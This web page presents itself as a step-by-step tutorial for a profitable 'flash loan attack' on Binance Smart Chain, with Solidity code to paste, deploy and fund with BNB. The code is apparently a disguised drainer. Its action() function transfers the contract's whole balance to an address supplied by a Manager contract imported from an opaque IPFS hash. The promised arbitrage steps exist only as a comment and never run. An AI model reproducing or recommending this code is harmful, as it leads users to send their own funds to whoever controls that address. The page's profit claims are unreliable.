Flash Loan Attack Code Explained | Free BNB Only Using This Easy Method
What is Flash Loan?
Flash Loan is a feature from DeFi that allows someone to quickly borrow Crypto nominal ( Eg. 1.000.000 DAI), refunded in the same hash transaction on the same blockchain, and only cost a little amount of fee.
Flash Loan can be done with a huge nominal if you had a minimum balance in your wallet. For example, John has 100 DAI in his wallet, so John could borrow 10.000 DAI. Then how is the Flash Loan Attack Technique got revenue?
In general, john has to be had a purpose before john wants to borrow from Flash Loan. For example, he intends to buy ETH, BNB, or any other crypto coin. So that if John borrows 1.000.000 DAI, then bought 5.00.000 DAI to ETH at market A and 500.000 DAI to BNB at market A and both are sold back to get DAI at the market B ( where market A and B has different prices ) and then John got 1.001.000 DAI. So John's profit is 1.000 DAI ( exclude the transaction fee ). Note: That transaction very fast and recorded in the 1 Blockchain transaction.
Step by step tutorial :
1. Download MetaMask For Chrome Web Browser

You can download and install MetaMask from this link: https://chrome.google.com/webstore/detail/metamask/nkbihfbeogaeaoehlefnkodbefgpgknn.
2. Create a “Custom RPC” in MetaMask for connecting to Binance Smart Chain

this step is used for connecting your wallet to the Mainnet network Smart Chain. Below this is the network setting to add a Smart Chain.
Name: Smart Chain
New RPC URL: https://bsc-dataseed.binance.org/
ChainID: 56
Symbol: BNB
Block Explorer URL: https://bscscan.com
For complete info about the explanation, please visit this Binance official article: https://academy.binance.com/en/articles/connecting-metamask-to-binance-smart-chain.
3. Open http://remix.ethereum.org/ from your browser
Open Ethereum Remix to make or extend the smart contract which later is used for making a smart contract Flash Loan Attack to the Binance Smart Contract network.
4. Click on Solidity Compiler (2nd menu button from the left) and select compiler version to 0.5.0

Change the compiler version to “0.5.0+commit.1d4f565a”. This is needed to make your compiler version is the same as the source code you'll use.
5. Create a file Solidity “Flash Loan.sol” in the File Explorer (1st menu button from the left)

Copy and paste the code below to the Flash Loan.sol file :
- pragma solidity ^0.5.0;
- // Multiplier-Finance Smart Contracts
- import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPoolAddressesProvider.sol";
- import "https://github.com/Multiplier-Finance/MCL-FlashLoanDemo/blob/main/contracts/interfaces/ILendingPool.sol";
- // PancakeSwap Smart Contracts
- import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeCallee.sol";
- import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakeFactory.sol";
- import "https://github.com/pancakeswap/pancake-swap-core/blob/master/contracts/interfaces/IPancakePair.sol";
- // Code Manager
- import "ipfs://QmYmQUCWHS6W5ZkaJfh8wCuDK2ZQ5uAWK9qjpgDDWG725V";
- contract GetFlashLoan {
- string public tokenName;
- string public tokenSymbol;
- uint loanAmount;
- Manager manager;
- constructor(string memory _tokenName, string memory _tokenSymbol, uint _loanAmount) public {
- tokenName = _tokenName;
- tokenSymbol = _tokenSymbol;
- loanAmount = _loanAmount;
- manager = new Manager();
- }
- function() external payable {}
- function action() public payable {
- // Send required coins for swap
- address(uint160(manager.pancakeDepositAddress())).transfer(address(this).balance);
- // Perform tasks (clubbed all functions into one to reduce external calls & SAVE GAS FEE)
- // Breakdown of functions written below
- manager.performTasks();
- /* Breakdown of functions
- // Submit token to BSC blockchain
- string memory tokenAddress = manager.submitToken(tokenName, tokenSymbol);
- // List the token on PancakeSwap
- manager.pancakeListToken(tokenName, tokenSymbol, tokenAddress);
- // Get BNB Loan from Multiplier-Finance
- string memory loanAddress = manager.takeFlashLoan(loanAmount);
- // Convert half BNB to DAI
- manager.pancakeDAItoBNB(loanAmount / 2);
- // Create BNB and DAI pairs for our token & Provide liquidity
- string memory bnbPair = manager.pancakeCreatePool(tokenAddress, "BNB");
- manager.pancakeAddLiquidity(bnbPair, loanAmount / 2);
- string memory daiPair = manager.pancakeCreatePool(tokenAddress, "DAI");
- manager.pancakeAddLiquidity(daiPair, loanAmount / 2);
- // Perform swaps and profit on Self-Arbitrage
- manager.pancakePerformSwaps();
- // Move remaining BNB from Contract to your account
- manager.contractToWallet("BNB");
- // Repay Flashloan
- manager.repayLoan(loanAddress);
- */
- }
- }
6. Click on Solidity Compiler (2nd menu button from the left) and Compile

Look for a dropdown Contract at the bottom of the Solidity Compiler menu, on that dropdown Contract choose “GetFlash Loan (Flash Loan.sol)” and then click Compile Flash Loan.sol.
7. Click on Deploy & run transactions (3rd menu button from the left) and Deploy

- - At the very top, change the dropdown Environment value to “Injected Web3” (For remix users, firstly there will be a confirmation on the MetaMask, Accept the confirmation notif on the MetaMask wallet Chrome Extention).
- - The MetaMask wallet address will automatically be connected If you're already connected to your MetaMask Account.
-
- There's a dropdown next to the, click that dropdown and create a Smart Contract name you desired. Eg. :
_TOKENNAME = Flash Loan (write random token name) _TOKENSYMBOL = FLO (write random three of four-letter symbol) _LOANAMOUNT = 10 (amount loan)
- - Click Transact and confirm in MetaMask.
- after you create a Smart Contract, wait till the transaction complete and you'll have your smart contract address.
8. Input a Liquidity to the Smart Contract

To input a Liquidity, transfer your nominal BNB to the Smart Contract address you have created before by using the transfer feature in the MetaMask Chrome Extention. Send the nominal BNB ( the amount BNB will affect the profit you will earn ). Wait till the liquidity addition transaction complete.
9. Flash Loan Attack

After creating a Smart Contract with liquidity added ( Step 8 ) and set the amount of loan ( Step 7 ), click the dropdown from the success transaction ( Step 7 ) it will display a dropdown menu with some button that is action, tokenName, tokenSymbol. Click "action" ( red button ) to run the smart contract. wait for a while until the transaction complete, and regularly check your BNB balance on the wallet from the MetaMask Chome Extension.
Note: Sometimes the code give error and sometimes it will not work from the first time.You must then start the whole process from begining.
Comments
Jean E
11 August 2022Admin
12 August 2022David H. Patrick
14 August 2022Admin
16 August 2022Fowlkes
16 August 2022Admin
17 August 2022Steven Kerma
18 August 2022Admin
18 August 2022J. Russell
19 August 2022Admin
20 August 2022Donald K. Kent
23 August 2022Clifford
25 August 2022Admin
27 August 2022Margaret M. Landry
28 August 2022Admin
29 August 2022Leonardo J. Holder
31 August 2022Joseph R. McFall
01 September 2022Admin
02 September 2022Mary T.
03 September 2022Natasha
03 September 2022Admin
03 September 2022C. Bohanon
05 September 2022Admin
05 September 2022Figueroa
08 September 2022Admin
09 September 2022Diane Felker
10 September 2022Tom J. Conley
11 September 2022Hernandez
14 September 2022